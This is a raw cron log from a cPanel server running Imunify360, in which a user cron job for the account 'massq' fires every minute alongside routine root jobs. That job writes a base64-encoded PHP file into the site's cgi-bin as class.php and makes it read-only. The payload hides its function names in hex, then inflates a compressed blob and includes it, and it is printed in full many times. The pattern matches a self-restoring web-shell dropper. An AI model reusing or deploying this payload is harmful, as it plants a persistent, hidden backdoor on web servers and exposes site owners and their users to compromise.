chmod 444 "$fp")
Sep  6 01:45:01 server CROND[12509]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:46:01 server CROND[13326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:46:01 server CROND[13327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:46:01 server CROND[13328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:47:01 server CROND[13701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:47:01 server CROND[13702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:47:01 server CROND[13703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:48:01 server CROND[14142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:48:01 server CROND[14143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:48:01 server CROND[14144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:49:01 server CROND[14516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:49:01 server CROND[14517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:49:01 server CROND[14518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:50:01 server CROND[14895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:50:01 server CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:50:01 server CROND[14899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:50:01 server CROND[14902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:50:01 server CROND[14906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:50:01 server CROND[14907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:50:01 server CROND[14904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:50:01 server CROND[14905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:50:01 server CROND[14903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:51:01 server CROND[15817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:51:01 server CROND[15818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:51:01 server CROND[15819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:52:01 server CROND[16185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:52:01 server CROND[16184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:52:01 server CROND[16186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:53:01 server CROND[16559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:53:01 server CROND[16560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:53:01 server CROND[16561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:54:01 server CROND[16924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:54:01 server CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:54:01 server CROND[16927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:55:01 server CROND[17306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:55:01 server CROND[17310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:55:01 server CROND[17315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:55:01 server CROND[17317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:55:01 server CROND[17318]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:55:01 server CROND[17316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:55:01 server CROND[17319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:56:01 server CROND[18131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:56:01 server CROND[18132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:56:01 server CROND[18133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:57:01 server CROND[18597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:57:01 server CROND[18599]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:57:01 server CROND[18598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:57:01 server CROND[18600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:58:01 server CROND[18966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
